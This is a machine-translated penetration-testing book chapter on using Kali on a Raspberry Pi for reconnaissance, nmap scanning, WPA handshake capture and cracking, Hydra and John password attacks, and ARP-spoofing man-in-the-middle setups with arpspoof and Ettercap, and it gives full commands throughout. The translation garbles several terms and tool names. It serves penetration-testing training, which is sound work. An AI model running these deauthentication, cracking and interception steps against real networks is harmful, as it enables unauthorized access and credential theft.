Skip to content

Latest commit

 

History

History
848 lines (485 loc) · 65.8 KB

File metadata and controls

848 lines (485 loc) · 65.8 KB

四、探索目标——侦察和武器化

第 3 章计划攻击中,我们在渗透测试杀死链中引入了网络杀死链和我们自己的调整。与生活中的任何努力一样,成功往往是做家庭作业并把它做好的结果。在渗透测试的早期阶段,这当然是正确的。后来,成功地达成我们的目标,更重要的是为我们的客户提供有价值的指导,往往取决于我们对目标的彻底和有效的探索。

我们在本书中讨论的一些工具可以填补杀伤链中的许多角色,但考虑到它们的主要用途和最强大的属性,我们选择在它们可能工作得最好的阶段展示它们。当我们建立自己的渗透测试实践时,我们肯定会用自己喜欢的工具交换工具,在其他阶段使用它们,并发展我们的方法,以发挥我们的优势,满足客户的要求,以及社区为帮助我们完成工作而创建的酷工具不断发展的前景。

本章涵盖以下主题:

  • 勘探目标
  • 网络扫描
  • 识别和破解无线接入
  • 密码捕获/破解
  • 向 Pi 获取数据
  • 使用 Wireshark、dsniff 和 Firealk 查看流量
  • 使用 Dotpwn、漂移网和 W3AF 定位 web 应用程序
  • 使用 tcpdump 调整和裁剪捕获

寻找目标

我们客户的网络和系统上有大量令人尴尬的信息可供获取,无需黑客攻击。大多数公司将数据发布到各种可公开访问的站点。他们自己的网页、社交媒体、论坛和员工在无数网站上的存在留下了大量漏洞,而当我们考虑到他们的合作伙伴、承包商和其他关系时,这些漏洞会呈指数级增长,所有人都会看到这些关系。一个快速的谷歌搜索可以揭示很多关于我们目标的信息,而 LinkedIn 是一个宝库,可以为我们的渗透测试提供社会工程方面的信息。**足迹的最大挑战——**发现和映射目标网络的行为,将是如何在为我们的测试找到有用向量的同时,为我们的客户快速评估和记录暴露的缺陷。

我们应该了解个人工具,如涉及 DNS 和 ISP 信息的工具(例如,whoisnslookupdns6dict),以及社交媒体和浏览器搜索中的挖掘工具(谷歌黑客、LinkedIn 搜索、Facebook 跟踪等)。在测试过程中,即使在做了大量准备之后,我们也可能需要使用这些工具来帮助列举目标环境的各个方面。然而,如果没有充分利用所有这些工具的帮助,开始足迹可能会令人望而生畏。

幸运的是,我们有几个很好的选择;其中最主要的是一种在卡利可用的工具,名为Maltego。Maltego(由一家名为Paterva、的公司创建和维护)https://www.paterva.com/web7/ 采用用户提供的实体(如域名或 IP 地址),并应用名为转换的成熟算法发现相关实体并系统地发现公开可用的信息,直观地以图形格式记录这些信息,显示所有信息是如何相互交织的。这个工具的强大之处在于它能快速搜索信息并仔细记录下来供我们使用。它生成的图表帮助我们和我们的客户了解从许多公共在线来源收集的信息是如何关联的以及在哪里发现的。这些变换所产生的枢轴简化了手工发现和挖掘的过程,否则我们将手工完成这些工作。仅此一项就可以将数周的侦察时间缩短为数小时,同时不仅为攻击的后续阶段组织调查结果,还为向客户提交报告组织调查结果,客户可以通过 Maltego 的图形输出轻松了解实体之间的关系。

对于黑盒或灰盒测试,Maltego 是一个伟大的第一步。它可以在任何连接到 Internet 的端点上使用,但从 C&C 服务器上运行它肯定是明智的。Raspberry Pi 可以运行 Maltego 过程,称为机器,但由于其用于 Maltego 等高度分析工具的资源有限,因此应仅限于生成较小的图形,用于概念验证或培训目的。

无论我们在哪里运行 Maltego,基本流程如下:

  1. 假设我们将运行 Kali 版本,我们将需要安装它或一个元软件包,如Kali-Linux-Top10Kali-Linux-Web。Kali 只能以图形方式运行,因此我们还需要 X 个窗口来运行,我们在第 2 章备战中讨论了几种简单的方法。同样,Pi 不应该是我们运行 X 和处理诸如 Maltego 之类的大型应用程序的第一选择。

  2. Once the prerequisites are met, we can launch Maltego by simply selecting the tool's icon on our desktop or via the dropdown, or by typing maltego at the command line:

    Prospecting the target

  3. 如果我们没有免费帐户,我们可以注册一个并激活它。Paterva 的网站上有很多很好的文档帮助我们跟上进度。作为启动的一部分,我们现在将应用这些凭据并解决验证码问题。

  4. Maltego uses the concept of libraries to serve out transforms to their users. These servers can be public, or we can host our own to store and serve out our own custom transforms. After logging in to Maltego, we'll see that even with free access to a public library, we have access to all of the publicly available transforms. For our purposes, the free library is extensive and more than enough for most penetration tests. Custom Maltego transforms allow us to write customer, or test specific code that we can automate through Maltego, but that is beyond the scope of this book. For now, we'll check the Maltego public servers option:

    Prospecting the target

  5. Maltego runs its analyses in what are referred to as machines, where each machine is a dedicated graphical map for a target. Being able to run multiple machines is useful in that it lets us run testing and discovery transforms against multiple targets independently. We'll stick with a single target and start our first machine by clicking on the Run a machine radio button:

    Prospecting the target

  6. When running our machine, we may sometimes be looking for a quick high-level survey; other times we may want an exhaustive footprinting of the customer's target network. Remembering or manually conducting discovery can be tedious and mind-boggling. Maltego makes use of templated footprinting approaches to help us automate our rRecon and reporting while saving considerable time and eliminating tedious work. While L1 machines will do a top-down discovery and avoid any shared infrastructure and historical records, each subsequent machine takes into account other aspects and provides us with a richer picture. We can refer to the Maltego blog for more details on each of the footprinting profiles here: http://maltego.blogspot.in/2016/05/network-footing-printing-with-maltego.html . We will select Footprint L2 (it's the same as L1, but also enumerating other sites hosted on the same IPs, shared infrastructure, and so on) and click the Next > button:

    Prospecting the target

  7. 我们现在可以输入目标网络的域名。我们已经选择了负责为我们带来 Maltego 的公司的域名paterva.com

  8. When we click Finish , Maltego will proceed to conduct the systematic discovery of the target network, revealing name servers, mail servers, e-mail addresses, Autonomous System Numbers (ASNs), and associated IP blocks:

    Prospecting the target

  9. If we right-click on any entity, we now have the awesome power to continue our deep-dive and have Maltego process additional algorithms on our behalf:

    Prospecting the target

从这里,我们可以点击浏览目标的所有相关实体。在这一点上,我们能够探索,因为我们需要充实我们的足迹。根据实体类型,我们甚至可以查看相关的电子邮件地址、社交媒体帐户、文档(例如 Adobe PDF 或 Microsoft Office 文件),并构建客户曝光的完整图片。

除了公共服务器的标准转换之外,web 上充满了开源转换,这些转换可以以新的、有用的方式定制我们的发现。LinkedIn 特有的过滤器很受欢迎,就像那些围绕重大事件的过滤器一样,比如巴拿马文件争议(http://maltego.blogspot.in/2016/05/panama-papers-in-maltego.html )。付费客户可以获得更广泛的图形、支持以及对其他集成点和存储库的访问。归根结底,我们收集和整理这些数据有两大原因:

  • 我们需要确保我们为客户提供了对公共领域的健康尊重,并确保他们的偏执集中于通过访问和数据保留/保护策略最大限度地减少暴露。
  • 我们想知道我们打算如何进入并利用他们的弱点。这是为了他们自己好。

网络扫描

当我们扫描一个网络及其连接的主机时,我们通常是在系统和基础设施设备上寻找打开的门,我们碰巧通过主要的被动扫描工具(如 Maltego)注意到了这一点。主动扫描变得更加集中,更有可能触发警报,因此我们需要谨慎行事,谨慎使用工具,以确保不会引起注意。这一领域的卓越工具之一是nmap,我们很快就会明白为什么它的强大功能以及无数的选择和调整使得它成为网络安全专业人士和罪犯多年来的最爱。

与 Maltego 不同的是,与 C&C 服务器相比,Raspberry Pi 3 上使用此工具非常有意义,因为内部通信通常受到较少的审查,而且它是一个命令行工具。公司往往会花费他们的金钱和时间担心他们的互联网边缘,以限制外部访问,而忽视内部通信的监管,因为在整个基础设施中获得可见性可能会花费大量的成本和时间。如果我们成功地在 Pi 的目标环境中找到内部访问,并且能够绕过或欺骗任何适当的访问控制,则 Pi 可能具有不受限制的访问,并且能够很好地获取有用的金块,例如网络内任何实体上使用的开放端口和协议。即使客户已经实施了细分,我们也有机会发现合法的主机,从中我们可以跨越这些边界进行跳跃和访问。

使用 nmap 是一个需要一本书的主题,所以可以在项目的网页(上随意阅读 https://nmap.org 或在包装手册 Nmap Essentials(中)https://www.packtpub.com/networking-and-servers/nmap-essentials 或掌握 Nmap 脚本引擎( https://www.packtpub.com/networking-and-servers/mastering-nmap-scripting-engine )。现在,我们将对主机进行基本扫描,以查看输出:

nmap scanme.nmap.org

它将为我们提供一个非常简单且精确的输出,如下所示:

Network scanning

当我们查看前面的输出时,我们将看到该工具可以接受**完全限定域名(FQDN),**但 IP 地址也将进行反向查找,以确保包括主机名和 IP。我们还看到,为了简化输出,它省略了 996 个封闭端口,并向我们展示了端口22(SSH)、80(HTTP)、9929(NPing Echo)和31337(Elite)都是完全开放的。如果我们仔细考虑一下,这看起来非常适合 web 服务器,通过 SSH 和 HTTP 的控制都是开放的。跳出到我们面前的端口是31337,,它通常与一个名为 Back Orience 的远程管理工具相关联。正如所提到的,BO 的起源相当有趣,因为它是由一名黑客开发的,并且与许多恶意软件和威胁传递方案有关。如果这是目标环境中的主机,我们可能需要注意这一点,并寻找通过该服务进入的方法。

如果我们想在放置 Raspberry Pi 3 后对本地网络进行更有用的低影响扫描,我们可以保持不显眼,并使用隐身(-s选项避免检测,扫描常见端口和服务,并在端口或服务出现以下情况时启动使用中的版本(V

nmap -sV -p 20,21,22,23,25,53,79.80,110,143 10.5.8.1-255

在我们的测试网络上,以下是一段关于两台主机的外观的片段:

Network scanning

注意,在这种情况下,我们有几个端口处于过滤状态,这表明它们实际上受到访问控制列表或其他方式的限制。我们还获得了关于 IP 为10.5.8.123的主机上使用开放端口的版本的有趣数据。了解这些信息可以提供有关我们可以利用的漏洞的线索。

谷歌搜索或 CVE 查找(https://www.cvedetails.com/ 告诉我们 OpenSSH 5.3 确实列出了八个不同关注的漏洞:

Network scanning

每一个都是我们在该主机上利用的潜在载体。扫描结果可以帮助我们确定我们可以攻击哪些服务,或者目标的管理员在不知情的情况下为我们打开了一扇门,我们可以反过来调整我们的攻击以供使用。nmap 的开关或选项数量惊人,因此我们强烈建议使用此工具花费一些高质量的时间,并学会使用其较低的影响模式来保持隐身。如果我们在使用侦察工具时噪音过大,我们可能会触发自动保护或引起操作员的怀疑,从而关闭这些潜在的载体。除了低姿态扫描外,可能建议从不同的位置和 IP 执行一些侦察任务,这样任何警报都不会归因于参与测试后期的主机。

看到并破解 Wi-Fi

Wi-Fi 或无线网络正迅速成为各种环境的接入层选择。敏捷性、便利性和现在的近线速对充满活力的劳动力来说是一个福音,但企业往往不愿拨打安全电话,因为他们害怕破坏用户渴望的易用性和舒适性。不幸的是,对于这些环境,这也意味着我们作为渗透测试人员,以及我们的黑帽黑客敌人,可以利用同样不安全的网络拦截他们的流量并获得我们自己的非法访问。

我们的 Kali Linux 安装可以包括足够的无线工具,以保证其自己的元包类别(Kali Linux wireless),但不幸的是,内置 Wi-Fi 适配器仅限于连接到网络。为了进行拦截和监控,我们需要一个适配器,如 Panda PAUO5 300Mbps 无线 N(2.4 GHz)USB 适配器(https://www.amazon.com/gp/product/B00EQT0YK2?pldnSite=1 ,它能够修改帧并在监视模式下运行,以便扫描可用的 SSID 和通道以及任何关联的端点。无线适配器不断发展,但无论我们选择哪种适配器,它都应该能够提供监控模式操作,实现尽可能多的标准,并且与 Linux 兼容。快速的谷歌搜索有助于确定每个选择的适用性。

Seeing and cracking Wi-Fi

取钥匙

一些最强大的 Wi-Fi 黑客工具出现在aircrack-nghttps://www.aircrack-ng.org/ 包装。在这个完整的 Wi-Fi 套件中包括一些工具,可以帮助我们映射和监控 Wi-Fi SSID,攻击基站或客户端,嗅探数据包,破解 Wi-Fi 加密密码和解密流。Aircrack ng 甚至可以将数据包注入这些网络。我们可以将这些工具与其他工具结合起来,进一步提高快速访问的机会。

  1. Using the aircrack-ng suite we can both disrupt and snoop on legitimate traffic, or even establish our own access to the network without explicit onboarding or access rights. In order to do this, we'll first need to ensure that our adapter is properly installed and seen by the USB controller using airmon-ng as follows:

     airmon-ng
    
    

    我们应该能够看到为我们的系统连接的适配器,如下面的屏幕截图所示。请记住,wlan0在我们的系统中对应于内置适配器,而aircrack-ng在每种情况下都无法支持??????在驱动程序列中。USB 适配器的 Ralink 驱动程序是一个常用的集成驱动程序,由 aircrack ng 支持。此适配器的驱动程序包含在 Kali 中,但我们应遵循任何其他适配器的说明,以确保在尝试使用它之前正确配置它:

    Obtaining the key

    提示

    请注意,我们用于监视和嗅探的接口无法提供对 Raspberry Pi 的网络访问,因此我们需要使用附带的以太网端口或内置无线连接。

  2. We'll now enable the Panda USB adapter for monitoring using the following command:

    airmon-ng start wlan1 
    
    

    我们可以用wlan1替代我们预期无线适配器的标识符。结果如下所示:

    Obtaining the key

  3. As we can see, we now have a monitoring interface named wlan1mon that is available to sniff traffic for us. We can start seeing what networks are available using the airodump-ng command and after capturing for some time, by pressing  *Ctrl + * C to quit the process:

    airodump-ng wlan1mon
    
    

    Obtaining the key

  4. We need to pick an SSID/BSSID that corresponds to our target network, and once we've done that, we'll want to copy or write down the BSSID and channel of the target AP and commence our capture using the following command:

    airodump-ng -c [channel] --bssid [bssid] -w /
            [location & name to store the capture] 
            [monitor interface ID]
    
    

    在我们的情况下,情况如下:

    airodump-ng -c 7 --bssid 88:F0:31:B0:22:50 -w 
            /root/Desktop/WPA_Crack wlan1mon
    
    

    这将持续监控我们更详细地选择的网络。我们真正想看到的是下表中的客户机,我们最终想要欺骗这些客户机进行重新身份验证,以便捕获它:

    Obtaining the key

  5. Now that we see there is adequate activity, we want to force one of these unwitting clients to re-authenticate, at which time we'll get to capture a copy of the encrypted handshake for our uses. We can do that using a second terminal session (leaving airodump-ng running in the first) and using airplay-ng to force a poor client off the net temporarily using the following command:

    aireplay-ng -0 2 -a [the router's bssid] -c 
            [target client's bssid] [interface we're monitoring]
    
    

    在我们的场景中,以下是我们输入的内容:

    aireplay-ng -0 2 -a 88:F0:31:B0:22:50 -c 
            18:B4:30:29:4E:DB wlan1mon
    
    

这将导致以下消息,这表明我们至少尝试通过模拟基站来取消主机的身份验证。我们可能需要重复多次,希望主机将其解释为取消身份验证,并尝试通过 WPA 握手重新身份验证:

Obtaining the key

我们正在寻找的是使用 WPA 握手:[MAC 地址]行更新的第一个窗口,如显示屏左上角所示:

Obtaining the key

一旦发生这种情况,我们就有了我们所需要的数据包捕获,其中包括 WPA 握手,在一个.cap文件中有一个非常重要的私有瞬态密钥,经过加密以保护目标网络,但不是不可渗透的。

Obtaining the key

打开钥匙

大多数破解密码的黑客技术都使用单词表,即所谓的暴力字典攻击。这些攻击包括尝试所有可能的密码组合以猜测正确的密码。如果我们在实时目标上尝试此操作,这可能会很快让我们陷入麻烦或过早结束工作,因此此捕获使我们有机会尝试这些猜测以得出相同的结论,而不会导致实时身份验证事件失败。暴力攻击(有时称为字母攻击)会生成整个名称空间,因此可能需要更长的时间来处理,但很可能猜测密码短语。在字典攻击中,可以从许多资源中生成或借用单词列表,并且通常可以包括已知的默认密码、常用的密码短语,如果我们完成了侦察任务,甚至可以从目标环境的用户和管理员那里获得灵感。我们甚至可以构建 rainbow 表,这些表是预先计算的单词列表哈希,可以提前生成,但在我们积极参与目标环境时,可以帮助我们更快地确定关键点。对于暴力攻击,我们通过不缩小处理过程中支付的列表来节省,但 rainbow 表可以转移部分工作量。

crunch是一个更流行的工具,可以帮助我们手动生成单词表。它的使用很简单,我们可以告诉 crunch 我们的潜在密码中有多少个最小和最大字符,枚举符合条件的字符,并将它们传递给aircrack-ng工具,尝试猜测 WPA/WPA2 密码短语。这看起来像这样:

crunch [min char] [max char] {char set] | aircrack-ng 
-e [SSID Name] -w -/[location & name to store the capture] 

对于我们的目标 SSID 和捕获文件,如下所示:

Crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR
STUVWXYZ0123456789 | aircrack-ng -e PENTEST_NET 
-w - /root/Desktop/WPA_Crack-01.cap

Cracking the key

正如我们在前面的屏幕截图中所看到的,这是一种字典攻击,它将系统地尝试从最小字符大小到最大字符大小的所有有效字符组合,并在找到答案后报告。这项工作需要一些时间,对于大多数用例来说,最好在装备精良的 C&C 机器上执行,因为它会带来繁重的计算工作量。我们还可以通过消除不合格字符、缩小最大和最小尺寸差异以及找到更强大的机器来缩短找到答案的时间。高效的破解平台通常使用多个 CPU,或者更好的是,使用多个**图形处理单元(GPU)**来利用超级可扩展和大规模多核架构。在我们的 Macbook Pro 上运行的 C&C Kali 虚拟机上,测试网络的破解可能需要花费大量时间(阅读数周)。在 Raspberry Pi 上重复这一点需要很多年,即使名称空间限制为 8 个字符长度。我们应该让这些小型机器放松一些——有超过 218 万亿种可能的组合,所以我们当然要求大量的实验室设备。显然,侦察可以显著减少这一时间,时间和复杂性之间的平衡将驱动自定义单词列表,而不是简单的强力挤压。其他工具(如 CeWL)可以帮助记录密码短语的常用组件(公司名称、生日、附近的地标等),以进一步减少处理需求。攻击者还租用大量计算机或基于云的功能来协助破解密钥。

提示

顺便说一句,如果没有任何东西能说服我们在自己的生活中使用复杂、冗长、非词典的密码短语,那么其他任何东西都不会。可供黑客使用的计算机遵循摩尔定律,因此我们需要确保不断提高标准,以便我们的网络在这段时间内对可用资源保持安全。

还有其他方法可以加速破解 WPA 或 WPA2,包括预先计算握手算法中更持久的方面。其中一种模式涉及成对主密钥(PMK),这是用于为每次身份验证使用的一次性密码设定种子的实际预共享密钥或 AES 密钥。如果我们允许airolib-ng这样的工具预先确定这些种子散列,我们可以提高 C&C 机器评估密钥的速度,从每秒大约 1600-2000 个密钥提高到 50000 个或更多。还有一系列其他工具采用替代方法,如coWPAttygenpmkoclhashcatPyrit等,每种工具都可以帮助调整我们的速度和时间,预加载单词列表或中间步骤,或者使用排列和变形来缩小可能性,大大加快我们的努力。

捕获并破解密码

破解 WPA 和 WPA2 加密肯定属于大多数渗透测试工作说明书的范畴。我们将遇到的其他地方的密码将需要不同的工具和技术,所以这似乎是一个伟大的时间来讨论我们的选择和潜在的方法。在每一种情况下,我们都需要考虑我们如何捕获信息,以及我们如何应用这些信息来提取需要进一步开发目标的凭据或密码。

捕获方法因介质(有线、无线)、测试盒的位置(内联、混杂、远程)和向量(web、电子邮件、应用程序等)的不同而大不相同。以下各节将讨论几种捕获方法,Wireshark 和 Ettercap 以及前面讨论的airodump-ng工具都有作用。这些工具中的每一个都将为我们提供可实时操纵的记录流量(捕获)或实时流量。大多数破解都会使用记录的捕获进行,因为像我们这样的典型渗透测试人员所能携带的机器无法实时破解,即使尝试破解,也会对目标环境的性能产生显著影响。也就是说,有几个显著的例外。

在线破解

当无法在野外捕获合法身份验证时,在线破解非常有用。当我们想猜测 web 或文件服务器的凭据,而我们的侦察让我们失望时,我们可能常常不得不依赖一种工具,该工具试图通过盲暴力进行身份验证。我们可以使用的一种服务是THC Hydra,这是一种非常棒的工具,可以破解超过 80 种不同的协议和服务,由于其在多个操作系统上的可用性以及对并行操作的支持,因此非常受欢迎。Hydra(http://www.thc.org/thc-hydra )最常用的密码使用字表,这些字表可以通过我们的侦察工作或 crunch(见上一节)等工具在线获取,也可以从其他工具借用和修改。我们可用于实践的示例词表可在开放墙项目中再次获得 http://download.openwall.net/pub/passwords/ ),我们可以在 HashCat 页面(上提供示例哈希 https://hashcat.net/wiki/doku.php?id=example_hashes 。我们应该指出单词表可以决定这个工具的成败。John the ripper 的默认字表非常有限,而一个更好的字表可以帮助我们将处理时间减少到几分钟。

无论我们如何获得单词列表,我们都可以通过一个简单的命令将其应用于我们的目标系统:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | 
[-C FILE]] -t [number of threads (optional)] 
[service://server[:PORT][/OPT]]

这里,-l表示一次登录,-L表示一个文件,-p表示一个密码,-P表示一个单词列表。我们甚至可以通过-C选项将它们一起传递到一个文件中,当我们已经入侵另一个凭证存储并想要确定哪些密钥将打开此锁时,这非常方便。命令的最后一部分表示我们希望尝试对其进行身份验证的套接字(IP 地址和端口)。

如果我们在192.168.32.40的 SSH 服务器上尝试此操作,并遵守四个并行会话的限制,则命令如下所示:

hydra -l user -P /usr/share/john/password.lst -t 4
ssh://192.168.32.40:22

我们还应该关注其他可以帮助我们的在线工具,因为没有一种工具可以满足所有需求。wFuzz、RainbowCrack(帮助我们生成彩虹表)和Medusa都提供了独特的功能和扭曲,可能使它们更适合某些情况。

离线开裂

解锁捕获的流量或文件(如 ZIP 文件、tarball 等)为我们提供了一些自由和时间。无论流量(或数据包)、文件或其他工件是如何到达的,了解其中的内容通常取决于我们模拟数据合法使用者的能力。通常,我们需要从我们的掠夺中提取哈希值,虽然种类繁多的选项无法涵盖所有可能的类型,但有一些很棒的网站可以提供帮助,例如来自Unix 忍者的备忘单 https://www.unix-ninja.com/p/A_cheat-sheet_for_password_crackers )。同样,这些工具中的大多数都需要单词列表或至少一个生成器,一旦到位,就会提供定制的字典攻击来破解加密密钥。我们可以用于练习的示例词表和哈希值也可以在OpenWall上找到 http://download.openwall.net/pub/passwords/HashCathttps://hashcat.net/wiki/doku.php?id=example_hashes ),分别。

虽然我们在 WPA/WPA2 场景中使用了aircrack-ng,但我们还有一些其他选项,例如:

其中每一个都可以帮助破解其他类型的散列。此外,除了美杜莎和 RainbowCrack 之外,还有一些非常有用的工具可以帮助提高我们破解尝试的效果:

其中每一个都可以分别对基本单词表和预生成哈希进行智能修改。

我们来看看其中一个比较流行的工具。john是一款功能极其强大的 CLI 破解工具,可以对任意数量的身份验证算法的哈希进行字典攻击。

要使用john,这是一个简单的过程,将单词列表应用于包含我们想要破解的哈希的文件:

john -wordlist=[location of wordlist]
-rules [file full of hashes]

在一个例子中,我们用 HashCat 样本中的 SHA1 散列填充了我们的文件,应用了--rules选项(以允许弄乱,其中数字可以用普通的替代品交换),并识别了可疑的散列类型(SHA1)。如果愿意,我们可以运行所有格式,并将其留给机会,但我们应该有一些猜测来帮助减少工作量:

john -wordlist=/usr/share/john/password.lst --rules 
-format=Raw-SHA1 hashes.txt

Offline cracking

你知道什么?我们可以清楚地看到,它看到了我们正在寻找的密码:hashcat!

向 Pi 获取数据

对于我们在这里讨论的许多工具,需要记住的最重要的任务之一是确保数据流经或流向我们的 Raspberry Pi。为了成为**中间人(MITM),**我们需要确保流量从源目标通过 Pi 流向目的目标。这样,我们就可以窃听谈话并做我们需要做的事情。

有了树莓皮,有两种方法可以实现这一点。一个是将我们的 Raspberry Pi 物理地放在网络上,在两个目标之间内联。对于其他两个选项,我们将把流量重定向到 Raspberry Pi。

物理内联选项

让我们的 Pi 在源和目标之间进行物理内联,可以很容易地嗅探流量,但实现这一点可能非常困难。首先,我们需要对数据中心/网络柜进行物理访问才能实现这一点。这可能很难实现,可能需要社会工程来获得这种访问。其次,根据我们在哪些主机之间内联,我们可能会限制我们可以窃听的内容。如果我们希望能够灵活地在网络上的不同主机上进行侦听,那么这可能会破坏交易。但是,如果这个解决方案对我们有效,那么设置起来就很容易了。下面是这样做的过程。

我们需要确保 Raspberry Pi 上至少有两个以太网连接。大多数 Raspberry Pis 都带有一个以太网接口,因此我们需要为我们的二级以太网连接购买一个 USB 以太网加密狗,例如下面的一个,通常在 Amazon 等网站上售价不到 10 美元:

Physically inline option

当我们将以太网连接全部设置好时,它看起来会像这样,在 Raspberry Pi 中有两个物理以太网连接:

Physically inline option

现在我们已经设置好了物理连接,我们需要将 Raspberry Pi 配置为一个透明的网桥。在这种情况下,Pi 将被配置为在电缆两侧具有相同的网络或虚拟局域网(VLAN)。这样,它就可以插入到两台主机之间的网段中,而无需更改任何 IP 地址。

要将 Raspberry Pi 设置为桥梁,我们需要执行以下步骤:

  1. 在 Kali Linux 中安装桥接实用程序。这将允许您将接口设置为桥接:

     apt-get install bridge-utils 
    
    
  2. Now that the bridging package is installed, we can start with the configuration of the two Ethernet interfaces. In our example, we will be using eth0 and eth1. Basically, we want to configure them with an open IP address as follows:

     ifconfig eth0 0.0.0.0
            ifconfig eth1 0.0.0.0 
    
    

    提示

    确保您在 Raspberry Pi 的控制台上,或者在 Pi 中有另一个带外连接。原因是,一旦您重置这些以太网接口,如果您正在使用它们做任何事情,这些其他连接将终止。因此,拥有另一个 USB 以太网适配器或使用无线接口进行管理是一个好主意。

  3. Now, we need to create the bridge interface, and add our two defined interfaces into that bridge. The following commands will create our bridge:

     brctl addbr bridge0
            brctl addif bridge0 eth0
            brctl addif bridge0 eth1
    
    

    提示

    无论我们在哪里指定eth0eth1,,这是因为这些是我们使用的接口名称。如果您有不同的以太网接口,您只需要更改引用的内容。

  4. 设置桥接器的最后一步是打开接口。我们可以通过以下命令完成:

     ifconfig bridge0 up
    
    
  5. 我们现在应该是您选择的网段的内联。为了验证这一点,我们可以运行一个tcpdump,,我们应该可以通过我们的 Raspberry Pi 近实时地看到从其他主机到其他目的地的流量。

基于软件的方法

如果将覆盆子 Pi 内联放置不可行,则有一些软件解决方案可用。在本节中,我们将讨论两种:使用dsniffEttercap的 ARP 欺骗。这些命令将允许您选择要介于两者之间的主机,以便您可以谨慎地执行我们的 MITM 攻击,而无需对目标网络进行物理更改。让我们首先从 ARP 欺骗开始。

ARPSopof(dsniff 的一部分)

ARP 欺骗允许欺骗设备通过使用自己的 MAC 地址响应合法主机的 ARP 请求,假装自己是默认网关或其他主机。一旦其他主机看到这些消息,它们就会被愚弄,将所有流量发送到攻击机器,攻击机器可以伪造回复或嗅探回复,然后将它们传递到真正的目的地,而流的任何一方都不知道。后一种用途正是我们渗透测试人员所需要的。虽然它听起来很复杂,但在命令行上执行起来非常容易。以下是使用arpspoof工具启动并运行 ARP 欺骗的步骤,以及如何测试:

  1. 首先,我们需要安装 ARP 欺骗命令的包,该包是dsniff

     apt-get install dsniff
    
    
  2. Next, you need to make sure our Raspberry Pi is set up to enable IP forwarding. If not, then when the traffic hits the MITM box (our Raspberry Pi), the traffic will not be forwarded back out, and no connection will ever get made. To enable IP forwarding, we entered the following command on our Raspberry Pi Kali:

     sysctl -w net.ipv4.ip_forward=1 
    
    

    此命令将net.ipv4.ip_forward更新为1,从而启用数据包转发。在此之后,我们的 Raspberry Pi 现在将把所有数据包转发回线路,并允许连接继续到最终目的地。您可以通过运行以下命令来验证这一点:

     root@kali:~# sysctl -a list | grep net.ipv4.ip_forward
            net.ipv4.ip_forward = 1
    
    
  3. Now that our Pi is forwarding packets, we need to actually set up the MITM scheme. To do this, we will be utilizing the command arpspoof . There are other ways of doing this, but arpspoof was simple and effective, so we chose to go that route. Here are the CLI switches for arpspoof :

     root@kali:~# arpspoof -?
            Version: 2.4
            Usage: arpspoof [-i interface] [-c own|host|both]
            [-t target] [-r] host 
    
    

    命令布局非常简单。我们将需要打开两个终端窗口,在那里我们将欺骗我们的 MAC 地址到每个主机,让他们知道我们的 Pi 是他们的目的地。这是两台主机上的 CLI,假设一台主机为192.168.30.1,另一台主机为192.168.30.250

     arpspoof -i eth0 -t 192.168.30.1 -r 192.168.30.250
            arpspoof -i eth0 -t 192.168.30.250 -r 192.168.30.1 
    
    

    一旦我们运行这些命令,我们就会看到 ARP 缓存中毒。

  4. We should now be inline between those two hosts. To confirm, we'll run a tcpdump and see if we can see traffic that is coming from that host going to the other host. If so, we have successful placed our Raspberry Pi inline between our two targeted hosts:

    arpspoof (Part of dsniff)

    提示

    如果目标交换机启用了 ARP 中毒缓解,则此方法将不起作用。例如,在 Cisco 交换机上,启用 DHCP 侦听(ip dhcp snooping和动态 ARP 检查(ip arp inspection vlan [vlan number]将阻止此攻击成功。

Ettercap

eTerCap 是另一个可用于 ARP 欺骗的实用程序。它既可以作为 GUI 软件包提供,也可以作为基于 CLI 的工具提供。Ettercap 还包括允许修改或生成数据包的选项,这些选项将派上用场。我们将向您展示两个版本(CLI 和 GUI),以防您需要该工具的任何一个版本。

安装 eTerCap 时,我们必须在图形版或纯文本版(CLI)之间进行选择。因为我们将首先检查图形版本,所以我们需要首先安装它。命令如下:

apt-get install ettercap-graphical 

安装后,只需从命令行运行以下命令,即可启动 X 窗口:

ettercap -G 

这将显示 eTerCap 的主启动屏幕,如下所示:

Ettercap

我们需要做的第一件事是找出我们想要使用的模式。Ettercap 有两个选项,统一嗅探桥接嗅探。桥接模式使用两个网络接口形成一个网桥,在这个网桥中,流量将通过我们的 Pi。统一模式不要求 Pi 是内联的,因此只需要一个接口。我们还可以在混杂模式下运行接口,这意味着数据包不会定向到 Pi 本身,因此它们将被转发回。这与arpspoof命令的执行方式非常相似。

提示

再一次,与dsniff一样,如果目标交换机启用了 ARP 中毒缓解功能,这种方法将不起作用,这在较新的交换机默认情况下更为典型。我们的里程可能会有所不同。

我们将使用统一模式在网络主机之间内联放置 Raspberry Pi。为此,我们执行以下步骤:

  1. We'll click Snif f, and select Unified sniffing :

    Ettercap

  2. 接下来,我们将选择要嗅探的接口。在我们的示例中,它的eth0。然后点击确定

  3. 现在,我们将看到一些消息显示在消息窗口中,例如加载插件。我们现在还将注意到主选项卡中的一组新菜单。

  4. From here, we have a couple different options. We can go right to the Targets menu, and enter the information of the two hosts we want to position ourselves in between. But that can be tough if we don't know whom we want to listen against, or what is currently on the network. If that is the case, we can select to Scan for hosts . Once this completes, we can click on Hosts list to see all the hosts found:

    Ettercap

  5. 接下来,在该窗口中,我们可以选择目标 1目标 2

  6. 一旦我们选择了目标,我们就可以点击Mitm选项卡开始我们的行动。有几个不同的选项可供选择。我们将进行ARP 中毒并选择嗅探远程连接;这样,我们可以看到完整的对话,而不是一个方向的交通。然后点击确定

  7. Now, we just go to the Start menu, and click Start sniffing when we are ready:

    Ettercap

  8. Once Ettercap is running, we can view the connections within the View menu. Here is an example from our tests. We can see in our example, a Telnet connection shows up, and it even shows the attempted username and password:

    Ettercap

就这么简单。TTERCAP 的 GUI 版本使 ARP 非常易于使用。但是 CLI 版本与图形版本相比如何?让我们看一下 CLI 版本。

以下是完成相同扫描的步骤:

  1. 我们将首先安装 GUI 或文本版本:

     apt-get install ettercap-text-only 
    
    
  2. 现在我们已经安装了ettercap文本包,我们只需要启动它:

     ettercap -Tq -i eth0 -M arp:remote ///23 
    
    
  3. 一旦我们运行该命令,我们将开始看到ettercap启动、加载插件和扫描网络。这是从我们扫描端口23.上所有主机到所有主机的输出,我们将在输出中看到截获的 Telnet 尝试的用户名和密码。

正如我们所看到的,从 CLI 使用 Ettercap 也非常有效,就像图形版本一样,非常有效:

Ettercap

线鲨

